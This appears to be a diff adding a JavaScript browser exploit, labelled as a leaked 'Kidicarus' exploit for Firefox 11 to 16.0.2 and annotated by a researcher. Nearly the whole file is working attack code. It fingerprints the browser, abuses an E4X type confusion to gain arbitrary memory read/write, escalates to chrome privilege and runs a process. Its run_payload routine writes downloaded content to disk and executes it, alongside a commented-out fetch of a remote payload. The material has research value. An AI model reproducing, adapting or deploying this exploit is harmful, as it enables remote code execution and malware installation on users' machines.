|
|
@@ -0,0 +1,689 @@ |
|
|
//https://bugzilla.mozilla.org/show_bug.cgi?id=1346951 |
|
|
//Kidicarus exploit from Wikileaks |
|
|
//Effects Firefox versions 11 to 16.0.2 |
|
|
//Variables renamed by @mistymntncop. Probably some mistakes. |
|
|
//Exploit author: unknown |
|
|
|
|
|
function do_throw(a) { |
|
|
console.log("THROWN"); |
|
|
console.log((new Error()).stack); |
|
|
throw a; |
|
|
} |
|
|
var i = Array(1); |
|
|
|
|
|
function Uint64(hi, lo) { |
|
|
this.hi = hi; |
|
|
this.lo = lo; |
|
|
} |
|
|
Uint64.prototype.toString = function (a) { |
|
|
if (16 === a) { |
|
|
if (0 === this.hi) return this.lo.toString(16); |
|
|
for (a = this.lo.toString(16); 8 > a.length;) a = "0" + a; |
|
|
return this.hi.toString(16) + a |
|
|
} |
|
|
do_throw(null) |
|
|
}; |
|
|
|
|
|
function Conversion() { |
|
|
var arr = new ArrayBuffer(8); |
|
|
this.u32_arr = new Uint32Array(arr); |
|
|
this.f32_arr = new Float64Array(arr); |
|
|
} |
|
|
|
|
|
function u32_u32_to_f64(conv, lo, hi) { |
|
|
conv.u32_arr[0] = lo; |
|
|
conv.u32_arr[1] = hi; |
|
|
var result = conv.f32_arr[0]; |
|
|
return result; |
|
|
} |
|
|
|
|
|
function u64_to_f64(conv, val) { |
|
|
return u32_u32_to_f64(conv, val % 0x100000000, Math.floor(val / 0x100000000)); |
|
|
}; |
|
|
|
|
|
function Constants(template, versions) { |
|
|
var c; |
|
|
if (versions !== undefined) { |
|
|
for (var d in versions) { |
|
|
if (versions.hasOwnProperty(d) != false && -1 != d.split(/, */).indexOf(platform.platform)) { |
|
|
c = versions[d][platform.version]; |
|
|
if (c !== undefined) |
|
|
break; |
|
|
} |
|
|
} |
|
|
if (c === undefined) { |
|
|
do_throw(null); |
|
|
} |
|
|
} |
|
|
for (var g in template) { |
|
|
if (template.hasOwnProperty(g) != false && (d = template[g], "function" === typeof d)) { |
|
|
this[g] = d() |
|
|
} else { |
|
|
if ("number" === typeof d) { |
|
|
if (c === undefined) { |
|
|
do_throw(null) |
|
|
} |
|
|
if (c[d] === undefined) { |
|
|
do_throw(null); |
|
|
} |
|
|
this[g] = c[d]; |
|
|
} else { |
|
|
do_throw(null) |
|
|
} |
|
|
} |
|
|
} |
|
|
}; |
|
|
|
|
|
function Wtf() { |
|
|
var params = this.constants(); |
|
|
var element_size = params.element_size; |
|
|
var size = params.size; |
|
|
this.obj = {}; |
|
|
this.obj.length = size / element_size; |
|
|
this.obj.__defineGetter__("0", function () { |
|
|
do_throw(0) |
|
|
}); |
|
|
this.identity = function (a) { |
|
|
return a; |
|
|
} |
|
|
} |
|
|
Wtf.prototype.mystery = function () { |
|
|
try { |
|
|
Array.prototype.map.call(this.obj, this.identity); |
|
|
} catch (err) { } |
|
|
try { |
|
|
Array.prototype.map.call(this.obj, this.identity); |
|
|
} catch (err) { } |
|
|
}; |
|
|
Wtf.prototype.constants = function () { |
|
|
return new Constants({ |
|
|
element_size: 0, |
|
|
size: 1 |
|
|
}, { |
|
|
"Win32, Linux i686, Linux x86_64, MacIntel": { |
|
|
"10.0": [8, 0x8000000], |
|
|
"10.0.1": [8, 0x8000000], |
|
|
"10.0.2": [8, 0x8000000], |
|
|
"10.0.3": [8, 0x8000000], |
|
|
"10.0.4": [8, 0x8000000], |
|
|
"11.0": [8, 0x8000000], |
|
|
"12.0": [8, 0x8000000], |
|
|
"13.0": [8, 0x8000000], |
|
|
"13.0.1": [8, 0x8000000], |
|
|
"14.0.1": [8, 0x8000000], |
|
|
"15.0": [8, 0x8000000], |
|
|
"15.0.1": [8, 0x8000000], |
|
|
"16.0": [8, 0x8000000], |
|
|
"16.0.1": [8, 0x8000000], |
|
|
"16.0.2": [8, 0x8000000] |
|
|
} |
|
|
}) |
|
|
}; |
|
|
|
|
|
function Memory(u32_arr1, u32_arr2) { |
|
|
this.u32_arr1 = u32_arr1; |
|
|
this.u32_arr2 = u32_arr2; |
|
|
var params = this.constants(); |
|
|
this.size_offset = params.size_offset; |
|
|
this.addr_offset = params.addr_offset; |
|
|
this.u32_arr2[this.size_offset / 4] = 0x40000000; |
|
|
if (this.u32_arr1.length !== 0x40000000) { |
|
|
do_throw(null) |
|
|
} |
|
|
} |
|
|
|
|
|
Memory.prototype.constants = function () { |
|
|
return new Constants({ |
|
|
size_offset: 0, |
|
|
addr_offset: 1 |
|
|
}, { |
|
|
"Win32, Linux i686": { |
|
|
"10.0": [40, 24], |
|
|
"10.0.1": [40, 24], |
|
|
"10.0.2": [40, 24], |
|
|
"10.0.3": [40, 24], |
|
|
"10.0.4": [40, 24], |
|
|
"11.0": [16, 72], |
|
|
"12.0": [16, 72], |
|
|
"13.0": [16, 72], |
|
|
"13.0.1": [16, 72], |
|
|
"14.0.1": [16, 72], |
|
|
"15.0": [16, 72], |
|
|
"15.0.1": [16, 72], |
|
|
"16.0": [16, 72], |
|
|
"16.0.1": [16, 72], |
|
|
"16.0.2": [16, 72] |
|
|
}, |
|
|
"Linux x86_64, MacIntel": { |
|
|
"11.0": [32, 88], |
|
|
"12.0": [32, 88], |
|
|
"13.0": [32, 88], |
|
|
"13.0.1": [32, 88], |
|
|
"14.0.1": [32, 88], |
|
|
"15.0": [32, 88], |
|
|
"15.0.1": [32, 88], |
|
|
"16.0": [32, 88], |
|
|
"16.0.1": [32, 88], |
|
|
"16.0.2": [32, 88] |
|
|
} |
|
|
}) |
|
|
}; |
|
|
Memory.prototype.read_u32 = function (addr) { |
|
|
set_u32_arr1_addr(this, addr); |
|
|
return this.u32_arr1[0]; |
|
|
}; |
|
|
|
|
|
function set_u32_arr1_addr(mem, addr) { |
|
|
if (platform.x64 == false) { |
|
|
mem.u32_arr2[mem.addr_offset / 4] = addr; |
|
|
} else { |
|
|
mem.u32_arr2[mem.addr_offset / 4] = addr % 0x100000000; |
|
|
mem.u32_arr2[mem.addr_offset / 4 + 1] = Math.floor(addr / 0x100000000); |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
function read(mem, addr) { |
|
|
set_u32_arr1_addr(mem, addr); |
|
|
return platform.x64 == false ? |
|
|
mem.u32_arr1[0] : |
|
|
mem.u32_arr1[0] + 0x100000000 * mem.u32_arr1[1]; |
|
|
} |
|
|
|
|
|
function write(mem, addr, val) { |
|
|
set_u32_arr1_addr(mem, addr); |
|
|
if (platform.x64 == false) { |
|
|
mem.u32_arr1[0] = val; |
|
|
} else { |
|
|
mem.u32_arr1[0] = val % 0x100000000; |
|
|
mem.u32_arr1[1] = Math.floor(val / 0x100000000); |
|
|
} |
|
|
} |
|
|
|
|
|
function ObjTools(mem, arr, slot_index, slots_addr) { |
|
|
this.memory = mem; |
|
|
this.arr = arr; |
|
|
this.slot_index = slot_index; |
|
|
this.slots_addr = slots_addr; |
|
|
} |
|
|
ObjTools.prototype.addr_of = function (obj) { |
|
|
this.arr[this.slot_index] = obj; |
|
|
if (platform.x64 == false) { |
|
|
return this.memory.read_u32(this.slots_addr); |
|
|
} |
|
|
var mem = this.memory; |
|
|
set_u32_arr1_addr(mem, this.slots_addr); |
|
|
var u64 = new Uint64(mem.u32_arr1[1], mem.u32_arr1[0]); |
|
|
return 0x100000000 * (u64.hi & 0x7FFF) + u64.lo; |
|
|
}; |
|
|
|
|
|
function PrimitiveObjects(a) { |
|
|
this.n = a; |
|
|
var params = this.constants(); |
|
|
this.k = params.k; |
|
|
this.slot_size = params.slot_size; |
|
|
this.I = params.I; |
|
|
this.extensible_flag = params.extensible_flag; |
|
|
this.rope_flag = params.rope_flag; |
|
|
this.g = params.g; |
|
|
var arr = Array(14); |
|
|
for (var i = 0; i < 14; i++) { |
|
|
arr[i] = null; |
|
|
} |
|
|
this.arr = arr; |
|
|
this.slots_addr = null; |
|
|
this.u32_arr1 = new Uint32Array(1024); |
|
|
this.u32_arr2 = new Uint32Array(1024); |
|
|
this.c = new Conversion(); |
|
|
} |
|
|
PrimitiveObjects.prototype.constants = function () { |
|
|
return new Constants({ |
|
|
k: 0, |
|
|
slot_size: 1, |
|
|
I: 2, |
|
|
extensible_flag: 3, //extensible_flag |
|
|
rope_flag: 4, //rope_flag |
|
|
g: 5 |
|
|
}, { |
|
|
"Win32, Linux i686": { |
|
|
"10.0": [40, 8, 0, 12, 1, 24], |
|
|
"11.0": [16, 8, 16, 12, 1, 72], |
|
|
"12.0": [16, 8, 16, 12, 1, 72], |
|
|
"13.0": [16, 8, 16, 12, 1, 72], |
|
|
"13.0.1": [16, 8, 16, 12, 1, 72], |
|
|
"14.0.1": [16, 8, 16, 4, 1, 72], |
|
|
"15.0": [16, 8, 16, 4, 1, 72], |
|
|
"15.0.1": [16, 8, 16, 4, 1, 72], |
|
|
"16.0": [16, 8, 16, 4, 1, 72], |
|
|
"16.0.1": [16, 8, 16, 4, 1, 72], |
|
|
"16.0.2": [16, 8, 16, 4, 1, 72] |
|
|
}, |
|
|
"Linux x86_64, MacIntel": { |
|
|
"11.0": [32, 8, 16, 12, 1, 88], |
|
|
"12.0": [32, 8, 16, 12, 1, 88], |
|
|
"13.0": [32, 8, 16, 12, 1, 88], |
|
|
"13.0.1": [32, 8, 16, 12, 1, 88], |
|
|
"14.0.1": [32, 8, 16, 4, 1, 88], |
|
|
"15.0": [32, 8, 16, 4, 1, 88], |
|
|
"15.0.1": [32, 8, 16, 4, 1, 88], |
|
|
"16.0": [32, 8, 16, 4, 1, 88], |
|
|
"16.0.1": [32, 8, 16, 4, 1, 88], |
|
|
"16.0.2": [32, 8, 16, 4, 1, 88] |
|
|
} |
|
|
}) |
|
|
}; |
|
|
|
|
|
//https://hg.mozilla.org/mozilla-central/file/a917bd8e3f8e5b104fc36f8c5ea729a6adb7b4eb/js/src/vm/String.h#l170 |
|
|
function corrupt(a, b, slot_addr, d) { |
|
|
//build fake JSString structures |
|
|
const LENGTH_SHIFT = 4; |
|
|
if (platform.x64 === false) { |
|
|
var g = 0; |
|
|
var m = d / 2; |
|
|
var slot0_addr = a.slots_addr + 0 * a.slot_size; |
|
|
a.arr[0] = u32_u32_to_f64(a.c, g << LENGTH_SHIFT | a.extensible_flag, b); |
|
|
a.arr[1] = u32_u32_to_f64(a.c, m, 0); |
|
|
d /= 2; |
|
|
var slot2_addr = a.slots_addr + 2 * a.slot_size; |
|
|
a.arr[2] = u32_u32_to_f64(a.c, d << LENGTH_SHIFT, slot_addr); |
|
|
a.arr[3] = u32_u32_to_f64(a.c, 0, 0); |
|
|
var c = g + d << LENGTH_SHIFT | a.rope_flag; |
|
|
g = slot2_addr; |
|
|
b = a.slots_addr + 4 * a.slot_size; |
|
|
a.arr[4] = u32_u32_to_f64(a.c, c, slot0_addr); |
|
|
a.arr[5] = u32_u32_to_f64(a.c, g, 0) |
|
|
} else { |
|
|
g = 0; |
|
|
m = d / 2; |
|
|
var slot0_addr = a.slots_addr + 0 * a.slot_size; |
|
|
a.arr[0] = u64_to_f64(a.c, g << LENGTH_SHIFT | a.extensible_flag); |
|
|
a.arr[1] = u64_to_f64(a.c, b); |
|
|
a.arr[2] = u64_to_f64(a.c, m); |
|
|
a.arr[3] = u64_to_f64(a.c, 0); |
|
|
d /= 2; |
|
|
b = a.slots_addr + 4 * a.slot_size; |
|
|
a.arr[4] = u64_to_f64(a.c, d << LENGTH_SHIFT); |
|
|
a.arr[5] = u64_to_f64(a.c, slot_addr); |
|
|
a.arr[6] = u64_to_f64(a.c, 0); |
|
|
a.arr[7] = u64_to_f64(a.c, 0); |
|
|
var c = g + d << LENGTH_SHIFT | a.rope_flag; |
|
|
g = b; |
|
|
b = a.slots_addr + 8 * a.slot_size; |
|
|
a.arr[8] = u64_to_f64(a.c, c); |
|
|
a.arr[9] = u64_to_f64(a.c, slot0_addr); |
|
|
a.arr[10] = u64_to_f64(a.c, g); |
|
|
a.arr[11] = u64_to_f64(a.c, 0); |
|
|
} |
|
|
var fake_str = fake_jsstr(a.n, b); |
|
|
//i[0] = "x".replace("a", fake_str) === null; |
|
|
"x".replace("a", fake_str); |
|
|
} |
|
|
|
|
|
function install_primitives(prims) { |
|
|
var arr_addr = weak_addr_of(prims.n, prims.arr); |
|
|
prims.slots_addr = arr_addr + prims.k + prims.I; |
|
|
var u32_arr1_addr = weak_addr_of(prims.n, prims.u32_arr1); |
|
|
var u32_arr2_addr = weak_addr_of(prims.n, prims.u32_arr2); |
|
|
if (platform.x64 === false) { |
|
|
prims.arr[12] = u32_u32_to_f64(prims.c, u32_arr1_addr, 0); |
|
|
corrupt(prims, u32_arr2_addr + prims.g, prims.slots_addr + 12 * prims.slot_size, 4); |
|
|
} else { |
|
|
prims.arr[12] = u64_to_f64(prims.c, u32_arr1_addr); |
|
|
corrupt(prims, u32_arr2_addr + prims.g, prims.slots_addr + 12 * prims.slot_size, 6); |
|
|
} |
|
|
var mem = new Memory(prims.u32_arr1, prims.u32_arr2); |
|
|
var obj_tools = new ObjTools(mem, prims.arr, 0, prims.slots_addr); |
|
|
prims.n.memory = mem; |
|
|
prims.n.obj_tools = obj_tools; |
|
|
} |
|
|
|
|
|
function PrivEsc(mem, obj_tools) { |
|
|
this.memory = mem; |
|
|
this.obj_tools = obj_tools; |
|
|
var params = this.constants(); |
|
|
this.A = params.A; |
|
|
this.B = params.B; |
|
|
this.D = params.D; |
|
|
this.C = params.C; |
|
|
this.o = params.o; |
|
|
} |
|
|
PrivEsc.prototype.run_priv_func = function (func) { |
|
|
var obj_addr = this.obj_tools.addr_of({}); |
|
|
|
|
|
var addr1 = 0x1000 * Math.floor(obj_addr / 0x1000) + this.A; |
|
|
var addr2 = read(this.memory, addr1) + this.B; |
|
|
var addr3 = read(this.memory, addr2) + this.D; |
|
|
var token = read(this.memory, addr3); |
|
|
|
|
|
var func_addr = this.obj_tools.addr_of(func); |
|
|
var func_what_addr = read(this.memory, func_addr + this.C); |
|
|
var func_target_addr = func_what_addr + this.o; |
|
|
var original_val = read(this.memory, func_target_addr); |
|
|
write(this.memory, func_target_addr, token); |
|
|
try { |
|
|
func(); |
|
|
} finally { |
|
|
write(this.memory, func_target_addr, original_val); |
|
|
} |
|
|
}; |
|
|
|
|
|
PrivEsc.prototype.constants = function () { |
|
|
return new Constants({ |
|
|
A: 0, |
|
|
B: 1, |
|
|
D: 2, |
|
|
C: 3, |
|
|
o: 4 |
|
|
}, { |
|
|
Win32: { |
|
|
"10.0": [0, 0, 145076, 60, 76], |
|
|
"11.0": [0, 0, 132368, 20, 72], |
|
|
"12.0": [0, 0, 214404, 20, 72], |
|
|
"13.0": [0, 0, 92668, 20, 72], |
|
|
"13.0.1": [0, 0, 92668, 20, 72], |
|
|
"14.0.1": [0, 0, 84668, 20, 28], |
|
|
"15.0": [0, 0, 92480, 20, 28], |
|
|
"15.0.1": [0, 0, 92480, 20, 28], |
|
|
"16.0": [0, 0, 92368, 20, 28], |
|
|
"16.0.1": [0, 0, 92368, 20, 28], |
|
|
"16.0.2": [0, 0, 92368, 20, 28] |
|
|
}, |
|
|
"Linux i686": { |
|
|
"11.0": [0, 0, 132332, 20, 72], |
|
|
"12.0": [0, 0, 214460, 20, 72], |
|
|
"13.0": [0, 0, 92700, 20, 72], |
|
|
"13.0.1": [0, 0, 92700, 20, 72], |
|
|
"14.0.1": [0, 0, 84704, 20, 28], |
|
|
"15.0": [0, 0, 92528, 20, 28], |
|
|
"15.0.1": [0, 0, 92528, 20, 28], |
|
|
"16.0": [0, 0, 92416, 20, 28], |
|
|
"16.0.1": [0, 0, 92416, 20, 28], |
|
|
"16.0.2": [0, 0, 92416, 20, 28] |
|
|
}, |
|
|
"Linux x86_64": { |
|
|
"11.0": [0, 0, 264144, 40, 104], |
|
|
"12.0": [0, 0, 428288, 40, 104], |
|
|
"13.0": [0, 0, 175496, 40, 104], |
|
|
"13.0.1": [0, 0, 175496, 40, 104], |
|
|
"14.0.1": [0, 0, 167376, 40, 48], |
|
|
"15.0": [0, 0, 177696, 40, 48], |
|
|
"15.0.1": [0, 0, 177696, 40, 48], |
|
|
"16.0": [0, 0, 177360, 40, 48], |
|
|
"16.0.1": [0, 0, 177360, 40, 48], |
|
|
"16.0.2": [0, 0, 177360, 40, 48] |
|
|
}, |
|
|
MacIntel: { |
|
|
"11.0": [0, 0, 264144, 40, 104], |
|
|
"12.0": [0, 0, 428240, 40, 104], |
|
|
"13.0": [0, 0, 175448, 40, 104], |
|
|
"13.0.1": [0, 0, 175448, 40, 104], |
|
|
"14.0.1": [0, 0, 167328, 40, 48], |
|
|
"15.0": [0, 0, 177648, 40, 48], |
|
|
"15.0.1": [0, 0, 177648, 40, 48], |
|
|
"16.0": [0, 0, 177312, 40, 48], |
|
|
"16.0.1": [0, 0, 177312, 40, 48], |
|
|
"16.0.2": [0, 0, 177312, 40, 48] |
|
|
} |
|
|
}) |
|
|
}; |
|
|
|
|
|
// Requires chrome privilege to be able to function. |
|
|
// |
|
|
// saves the payload downloaded in platform.content, then launches a platform |
|
|
// dependent command. Both the command and the file path look like they |
|
|
// are intended to be replaced prior to deployment. |
|
|
function run_payload() { |
|
|
// First check the platform and store appropriate shell command |
|
|
// (++foo++ are replaced before deployment) |
|
|
console.log("run_payload"); |
|
|
var cmdpath; |
|
|
if ("Win32" === platform.platform || "Win64" === platform.platform) { |
|
|
cmdpath = "++Win++"; |
|
|
} else if (platform.platform.indexOf("Linux ") == 0) { |
|
|
cmdpath = "++Linux++"; |
|
|
} else if ("MacIntel" == platform.platform) { |
|
|
cmdpath = "++MacIntel++"; |
|
|
} else { |
|
|
do_throw(null); |
|
|
} |
|
|
try { |
|
|
// Store platform.content in a local file "++Path++" |
|
|
// Must be privileged code! |
|
|
window.netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); |
|
|
var b = window.Components.classes["@mozilla.org/file/local;1"].createInstance(window.Components.interfaces.nsILocalFile); |
|
|
b.initWithPath("++Path++"); |
|
|
b.exists() || b.create(0, 493); // 493 == 0755 |
|
|
var c = window.Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(window.Components.interfaces.nsIFileOutputStream); |
|
|
c.init(b, 34, 4, null); |
|
|
var d = window.Components.classes["@mozilla.org/binaryoutputstream;1"].createInstance(window.Components.interfaces.nsIBinaryOutputStream); |
|
|
d.setOutputStream(c); |
|
|
d.writeByteArray(platform.content, platform.content.byteLength); |
|
|
d.close(); |
|
|
c.close() |
|
|
} catch (g) { |
|
|
alert("Exception while attempting to save\n\n" + g) |
|
|
} |
|
|
try { |
|
|
// launch cmdpath. The 'b' here is different than the 'b' with the |
|
|
// local file above--how does the command know where to find the payload? |
|
|
var b = [], |
|
|
m = window.Components.classes["@mozilla.org/file/local;1"].createInstance(window.Components.interfaces.nsILocalFile); |
|
|
m.initWithPath(cmdpath); |
|
|
var n = window.Components.classes["@mozilla.org/process/util;1"].createInstance(window.Components.interfaces.nsIProcess); |
|
|
n.init(m); |
|
|
n.run(h, b, b.length) |
|
|
} catch (H) { } |
|
|
} |
|
|
|
|
|
function run_calc() { |
|
|
try { |
|
|
var exe_path = "C:\\\\Windows\\\\System32\\\\calc.exe"; |
|
|
var args = []; |
|
|
|
|
|
var file = window.Components.classes["@mozilla.org/file/local;1"].createInstance(window.Components.interfaces.nsILocalFileWin); |
|
|
file.initWithPath(exe_path); |
|
|
var proc = window.Components.classes["@mozilla.org/process/util;1"].createInstance(window.Components.interfaces.nsIProcess); |
|
|
proc.init(file); |
|
|
proc.run(false, args, args.length); |
|
|
} catch(err) { |
|
|
console.log(err); |
|
|
} |
|
|
} |
|
|
|
|
|
//https://hg.mozilla.org/mozilla-central/file/a917bd8e3f8e5b104fc36f8c5ea729a6adb7b4eb/js/src/jsxml.cpp |
|
|
//https://hg.mozilla.org/mozilla-central/file/a917bd8e3f8e5b104fc36f8c5ea729a6adb7b4eb/js/src/jsxml.h |
|
|
|
|
|
function Exploit() { |
|
|
if(platform.S !== "Firefox") { |
|
|
do_throw(null); |
|
|
} |
|
|
var params = this.constants(); |
|
|
this.jsxml_size = params.jsxml_size; |
|
|
this.obj_offset = params.obj_offset; |
|
|
this.class_offset = params.class_offset; |
|
|
this.G = params.G; |
|
|
this.str_offset = params.str_offset; |
|
|
this.k = params.k; |
|
|
this.shape_offset = params.shape_offset; |
|
|
this.d = params.d; |
|
|
this.JSXML_CLASS_TEXT = params.JSXML_CLASS_TEXT; |
|
|
this.wtf = new Wtf(); |
|
|
} |
|
|
Exploit.prototype.constants = function () { |
|
|
return new Constants({ |
|
|
jsxml_size: 0, |
|
|
obj_offset: 1, //JSXML.object |
|
|
class_offset: 2, //JSXML.xml_class |
|
|
G: 3, |
|
|
str_offset: 4, //JSXML.value |
|
|
k: 5, |
|
|
shape_offset: 6, //JSObject.shapeOrExpando_ |
|
|
d: 7, |
|
|
JSXML_CLASS_TEXT: 8 |
|
|
}, { |
|
|
"Win32, Linux i686": { |
|
|
"11.0": [104, 0, 16, 24, 96, 16, 4, 8, 4], |
|
|
"12.0": [104, 0, 16, 24, 96, 16, 4, 8, 4], |
|
|
"13.0": [104, 0, 16, 24, 96, 16, 4, 8, 4], |
|
|
"13.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4], |
|
|
"14.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4], |
|
|
"15.0": [104, 0, 16, 24, 96, 16, 4, 8, 4], |
|
|
"15.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4], |
|
|
"16.0": [104, 0, 16, 24, 96, 16, 4, 8, 4], |
|
|
"16.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4], |
|
|
"16.0.2": [104, 0, 16, 24, 96, 16, 4, 8, 4] |
|
|
}, |
|
|
"Linux x86_64, MacIntel": { |
|
|
"11.0": [160, 0, 32, 40, 152, 32, 8, 8, 4], |
|
|
"12.0": [160, 0, 32, 40, 152, 32, 8, 8, 4], |
|
|
"13.0": [160, 0, 32, 40, 152, 32, 8, 8, 4], |
|
|
"13.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4], |
|
|
"14.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4], |
|
|
"15.0": [160, 0, 32, 40, 152, 32, 8, 8, 4], |
|
|
"15.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4], |
|
|
"16.0": [160, 0, 32, 40, 152, 32, 8, 8, 4], |
|
|
"16.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4], |
|
|
"16.0.2": [160, 0, 32, 40, 152, 32, 8, 8, 4] |
|
|
} |
|
|
}) |
|
|
}; |
|
|
|
|
|
// Namespace and QName are obsolete E4X things |
|
|
|
|
|
//GetXMLFunction |
|
|
//GetProperty |
|
|
//xml_child_helper |
|
|
//xml_child |
|
|
function jsxml_type_confusion(a) { |
|
|
String.prototype.rozG1zraWgFLF = a.fake_jsxml.u32_arr; |
|
|
var namespace = new Namespace("@mozilla.org/js/function"); |
|
|
var name = new QName(namespace, "rozG1zraWgFLF"); |
|
|
var xml_list = XMLList("<a/>"); |
|
|
//a.wtf.mystery(); //wtf the exploit seems to work without this |
|
|
a.children = xml_list.child(name); |
|
|
a.child = a.children[0]; |
|
|
} |
|
|
|
|
|
function fake_jsstr(a, addr) { |
|
|
a.fake_jsxml.set_str_addr(addr); |
|
|
return a.child.toString() |
|
|
} |
|
|
|
|
|
// Namespace and QName are obsolete E4X things |
|
|
function weak_addr_of(a, obj) { |
|
|
var obj_addr = a.fake_jsxml.leak_obj_addr(); |
|
|
var namespace = new Namespace("@mozilla.org/js/function"); |
|
|
var name1 = new QName(namespace, "aa5raHsuPNLHA1"); |
|
|
a.child[name1] = 0x1337;//null; |
|
|
var name2 = new QName(namespace, "aa5raHsuPNLHA2"); |
|
|
a.child[name2] = obj; |
|
|
var str = fake_jsstr(a, obj_addr + a.shape_offset); |
|
|
console.log("length : " + str.length); |
|
|
return platform.x64 == false ? |
|
|
str.charCodeAt(0) + 0x10000 * str.charCodeAt(1) : |
|
|
str.charCodeAt(0) + 0x10000 * str.charCodeAt(1) + 0x100000000 * (str.charCodeAt(2) & 0x7FFF); |
|
|
} |
|
|
|
|
|
function exploit(a) { |
|
|
a.fake_jsxml = new function () { |
|
|
this.u32_arr = new Uint32Array(a.jsxml_size); |
|
|
if (platform.x64 === false) { |
|
|
this.u32_arr[a.obj_offset / 4] = 0; |
|
|
this.u32_arr[a.class_offset / 4] = a.JSXML_CLASS_TEXT; |
|
|
} else { |
|
|
this.u32_arr[a.obj_offset / 4] = 0; |
|
|
this.u32_arr[a.obj_offset / 4 + 1] = 0; |
|
|
this.u32_arr[a.class_offset / 4] = a.JSXML_CLASS_TEXT; |
|
|
this.u32_arr[a.class_offset / 4 + 1] = 0; |
|
|
} |
|
|
this.leak_obj_addr = function () { |
|
|
return platform.x64 === false ? |
|
|
this.u32_arr[a.obj_offset / 4] : |
|
|
this.u32_arr[a.obj_offset / 4] + this.u32_arr[a.obj_offset / 4 + 1] * 0x100000000; |
|
|
}; |
|
|
this.set_str_addr = function (val) { |
|
|
if (platform.x64 === false) { |
|
|
this.u32_arr[a.str_offset / 4] = val; |
|
|
} else { |
|
|
this.u32_arr[a.str_offset / 4] = val % 0x100000000; |
|
|
this.u32_arr[a.str_offset / 4 + 1] = val / 0x100000000; |
|
|
} |
|
|
} |
|
|
}; |
|
|
jsxml_type_confusion(a); |
|
|
install_primitives(new PrimitiveObjects(a)); |
|
|
|
|
|
//cleanup |
|
|
var b = a.k + 1 * a.d; |
|
|
write(a.memory, read(a.memory, a.obj_tools.addr_of(a.children) + b) + a.G, 0); |
|
|
write(a.memory, a.obj_tools.addr_of(a.child) + b, 0); |
|
|
a.children = null; |
|
|
a.child = null; |
|
|
} |
|
|
//fingerprinting |
|
|
var platform = new function () { |
|
|
var is_firefox; |
|
|
// bail out if not Firefox |
|
|
if ("undefined" === typeof window || "undefined" === typeof window.navigator) { |
|
|
is_firefox = false; |
|
|
} else { |
|
|
var navigator = window.navigator; |
|
|
is_firefox = !("Netscape" !== navigator.appName || |
|
|
"Mozilla" !== navigator.appCodeName || |
|
|
"Gecko" !== navigator.product || |
|
|
-1 === navigator.userAgent.indexOf("Firefox")); |
|
|
} |
|
|
if(!is_firefox) { |
|
|
do_throw(null); |
|
|
} |
|
|
this.S = "Firefox"; |
|
|
// extract the version from the userAgent |
|
|
this.userAgent = window.navigator.userAgent; |
|
|
var found = /Firefox\/((\d+)\.\d+(\.\d+)?)/.exec(this.userAgent); |
|
|
if (found === null) { |
|
|
do_throw(null); |
|
|
} |
|
|
this.version = found[1]; |
|
|
// is it 32 or 64 bits? |
|
|
this.platform = window.navigator.platform; |
|
|
|
|
|
if ("Win32" === this.platform || "Linux i686" === this.platform) { |
|
|
this.x64 = false; |
|
|
} else if ("Win64" === this.platform || "Linux x86_64" === this.platform) { |
|
|
this.x64 = true; |
|
|
} else if ("MacIntel" === this.platform) { |
|
|
this.x64 = true; |
|
|
} else { |
|
|
do_throw(null); |
|
|
} |
|
|
if (this.userAgent.indexOf("; WOW64;") != -1 && this.x64) { |
|
|
do_throw(null); |
|
|
} |
|
|
}; |
|
|
|
|
|
// Download data and put it in platform.content |
|
|
/*(function () { |
|
|
var req = new XMLHttpRequest; |
|
|
replatform.onload = function () { |
|
|
platform.content = new Uint8Array(replatform.response); |
|
|
return replatform.response |
|
|
}; |
|
|
replatform.open("GET", "++REQUEST_URL++", true); |
|
|
replatform.responseType = "arraybuffer"; |
|
|
replatform.send() |
|
|
})();*/ |
|
|
|
|
|
// I assume this is what triggers the vuln |
|
|
|
|
|
function pwn() { |
|
|
try { |
|
|
var a = new Exploit(); |
|
|
exploit(a); |
|
|
var priv_esc = new PrivEsc(a.memory, a.obj_tools); |
|
|
//priv_esc.run_priv_func(run_payload); |
|
|
priv_esc.run_priv_func(run_calc); |
|
|
} catch (b) { } |
|
|
} |
|
|
|
|
|
pwn(); |
|
|
//setTimeout(pwn, 2E3); |